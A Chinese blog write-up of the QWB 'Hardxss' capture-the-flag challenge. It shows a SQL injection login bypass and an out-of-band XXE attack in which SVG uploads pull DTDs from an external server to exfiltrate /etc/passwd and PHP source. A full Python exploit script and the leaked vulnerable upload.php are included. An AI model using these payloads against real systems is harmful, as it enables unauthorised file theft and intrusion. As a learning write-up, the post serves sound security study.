QWB_Hardxss

QWB_Hardxss

这道题属实超出了自己的知识范围,很多东西不是很懂,前几天先把XML,DTD的基础知识看了下,再来看这题,但还是有些云里雾里,太菜了。

入手只有登录可以进去,简单测试了下,很明显发现一些注入关键词被过滤掉了,然后试试万能密码admin'or(1=1)#抓包发现返回了cookie,但还是登陆不上。

在这里插入图片描述

在js中手动设置cookie,document.cookie="PHPSESSID=utf3df914s2ira67rnoeifom10"

登录成功后,可以看到一个上传界面

在这里插入图片描述

然后就只能对着WP做了,因为自己还没接触过XXE注入。

根据登录界面的提示外部引用矢量图,则可以想到使用svg来上传图片,进行XXE注入

在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY % secret SYSTEM "http://39.107.239.30:80/1.php">
<!ENTITY % visit_hacker SYSTEM "http://39.107.239.30:80/xxe.dtd">
%visit_hacker;
%hacker;
]>
<svg xmlns="http://www.w3.org/2000/svg">
</svg>
<hacker>&sending;</hacker>

1.php中为

1
2
3
<?php
echo "php://filter/read=convert.base64-encode/resource=../../../../../../etc/passwd";

xxe.dtd中为

1
2
<!ENTITY % hacker "<!ENTITY sending SYSTEM '%secret;'>"> 
这个地方最开始不小心在secret前面加了个/,一直没发现浪费了贼多时间

不知道是不是buu环境的问题,上传的svg一直显示Not Image!。直接拿wp读取到的源码先看看吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
session_start();
// ini_set("display_errors","off");
// error_reporting(0);
if(!array_key_exists("login",$_SESSION)){
die("login first");
}
else if($_SESSION["login"]===0){
die("login first");
}
$encode=$_POST["data"];
if(substr($encode,0,5)!="data:"){
die("You!Hacker!");
}
$decode=file_get_contents($encode);
// var_dump($decode);
if(!(substr($decode,0,2)==="\xFF\xD8" or substr($decode,0,2)==="BM" or substr($decode,0,2)=="\x89\x50" or substr($decode,0,2)==="GI")){
// libxml_disable_entity_loader(true);
$dom = new DOMDocument();
$res=$dom->loadXML($decode,LIBXML_DTDLOAD);
if(!$res)
die("Not Image!");
$decode1=$dom->saveXML();
// highlight_string($deocde1);
//防止本地文件读取
if(preg_match("/file:|data:|zlib:|php:\/\/stdin|php:\/\/input|php:\/\/fd|php:\/\/memory|php:\/\/temp|expect:|ogg:|rar:|glob:|phar:|ftp:|ssh2:|bzip2:|zip:|ftps:/i",$decode1,$matches))
die("unsupport protocol: ".$matches[0]);
if(preg_match("/\/var|\/etc|\.\.|\/proc/i",$decode1,$matches)){
die("Illegal URI: ".$matches[0]);
}
$res=$dom->loadXML($decode,LIBXML_NOENT);
if(!$res)
die("Not Image!");
$decode=$dom->saveXML();

// highlight_string($decode);
//防止xss
if(preg_match("/script|object|embed|onload\s*=/i",$decode))
die("no script!");
// $encode="data:image/svg+xml;base64,".base64_encode($decode);
}
$filename=md5(rand());
file_put_contents("../upload/".$filename,$decode);
$filename='/upload/'.$filename;
$con=new mysqli("localhost","ctf","123456","ctf");
$res=$con->query("select img from avatar where userid=$_SESSION[login]");
if($res){
if($res->fetch_row()){
// echo "update avatar set img='$filename' where userid=$_SESSION[login]";
$res=$con->query("update avatar set img='$filename' where userid=$_SESSION[login]");
if($res!==TRUE){
// echo $con->error;
$con->close();
}
die("update success");
}
}
$res=$con->query("insert into avatar values($_SESSION[login],'$filename')");
$con->commit();
die("upload success");


对于上传的图像文件,对于png、jpg、bmp、gif直接读文件头识别出来后转存,对于其他文件头的按svg进行解析,解析失败的认为不是有效的图像文件返回not image。并且对xml进行了两次(不是两步)解析,第一次解析的时候loadxml(LIBXML_DTDLOAD),没有LIBXML_DTDVAILD不会从参数实体文件读取内容(%file 不会被读入,如下图所示),能够防止被本地文件被读取,也能防止js被外部引入。

这个要注意的是外带数据的如果是参数实体,要注意你服务器返回的得是合法的xml或者空白。

解法一

通过serviceWorker来截取浏览器的请求,借鉴了西湖论剑的那个题解,西湖的那个题解现在我也看不懂….

Service Worker简介

  • Appcache用来处理网站的离线缓存,可以通过manifest文件指定浏览器缓存哪些文件以供离线访问。但Appcache有相当多的缺陷,对于整站中的多页缓存来说支持比较差,而Service Worker用来作为其替代。
  • Service Worker是浏览器在后台运行的脚本,与web页面分离,以更好地支持不需要web页面或用户交互的功能。也可以将其理解为一个介于客户端和服务端之间的代理服务器,拥有拦截请求、修改返回内容的权力。可以用来缓存并处理离线网页(用来XSS)。
  • Service Workers 要求必须在 HTTPS 下才能运行。为了便于本地开发,localhost 也被浏览器认为是安全源。
  • Service Workers没有访问 DOM 的能力

剩下的放张图,属实对xss这一快还不太会

在这里插入图片描述

解法二

这是借鉴天枢的解法

直接拿exp吧,中间有我很多尝试的svg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import requests
import re
import base64
url = 'http://7f02f7e5-c929-4078-9f06-5e6c4acea6db.node4.buuoj.cn/'
svg = b"""<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY % secret SYSTEM "http://39.107.239.30:80/1.php">
<!ENTITY % visit_hacker SYSTEM "http://39.107.239.30:80/xxe2.xml">
%visit_hacker;
%hacker;
]>
<hacker>&sending;</hacker>"""
svg2 = b"""
<?xml version="1.0"?>
<!DOCTYPE message [
<!ENTITY % remote SYSTEM "http://39.107.239.30:80/dtd">
%remote;
%start;
%send;
]>
<svg xmlns="http://www.w3.org/2000/svg">
</svg>
"""
# b"""<!-- test.jpg -->
# <?xml version="1.0" encoding="iso-8859-1"?>
# <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
# <xsl:template match="/">
# <html>
# <head><style>@keyframes x{}</style></head>
# <body>
# <svg style="animation-name:x" onanimationend="alert(1);"></svg>
# </body></html>
# </xsl:template>
# </xsl:stylesheet>
#
# """
svg3 = b"""<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ELEMENT svg ANY >
<!ENTITY % sp SYSTEM "http://39.107.239.30:80/xxe.xml">
%sp;
%param1;
]>
<svg viewBox="0 0 200 200" version="1.2" xmlns="http://www.w3.org/2000/svg" style="fill:red">
<text x="15" y="100" style="fill:black">XXE via SVG rasterization</text>
<rect x="0" y="0" rx="10" ry="10" width="200" height="200" style="fill:pink;opacity:0.7"/>
<flowRoot font-size="15">
<flowRegion>
<rect x="0" y="0" width="200" height="200" style="fill:red;opacity:0.3"/>
</flowRegion>
<flowDiv>
<flowPara>&exfil;</flowPara>
</flowDiv>
</flowRoot>
</svg>

"""
s = requests.Session()
s.cookies["PHPSESSID"]= "PHPSESSID=9nas0jatppeftralq58d60apre"
res = s.post(url+'login/login.php',
data={"username":"admin'or(1=1)#","password":"123"},
headers={"Cookie":"PHPSESSID=9nas0jatppeftralq58d60apre"})

res2 = s.post(url=url+'user/upload.php',
data={"data":b"data:image/svg+xml;base64,"+base64.b64encode(svg2)},
cookies={"PHPSESSID":"9nas0jatppeftralq58d60apre"})
print(res2.text)
print(base64.b64encode(svg))
if "success" not in res2.text:
exit(1)
res3 = s.get(url=url+'user/',cookies={"PHPSESSID":"9nas0jatppeftralq58d60apre"})
# print(res3.text)

u = re.findall(r'<embed id="prebox" src="\/upload\/([0-9a-zA-z]+)"',res3.text)
u = "upload/"+u[0]

res4 = s.get(url=url+u).text
print(res4)





后面改了一下脚本竟然拿到了,真是太不容易了,才发现好像不一定是非要sucesss才行。

在这里插入图片描述

1
2
3
4
5
6
7
<script >
document.domain="cubestone.com";
function pageload(data){
document.body.innerText=data;
}
fetch(`loader.php?callback=pageload&secret=cube`).then((res)=>{return res.text();}).then((data)=>{eval(data);})</script>

拿到upload.php源码

在这里插入图片描述

接着又试了下天枢的那个方法,通了,太痛苦了呜呜呜,是我xml中的dtd中有个地方多写了个/,啊这题看了两天太痛苦了。

读到了/etc/passwd

在这里插入图片描述

到这就实现了任意文件读取了~~

在这里插入图片描述

flag{632e6e01-d5aa-400a-9f91-bc3c4856fc96}

终于做出来了,这两天学xxe也学到了很多,虽然有个小错误浪费了我很多时间,但找错误的过程也学了很多,这个暑假把XSS的知识得好好学学,还有JS的代码也得认真学学了,西湖论剑的那个方法还没咋看懂,再学学js再看。

参考文章

https://hachp1.github.io/posts/Web%E5%AE%89%E5%85%A8/20201019-sw_safe.html

https://blog.funnything.net/2021/06/15/2021-qwb-web-harderxss-writeup/

https://www.icystal.top/ctf15-qwb2021harderxss/


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!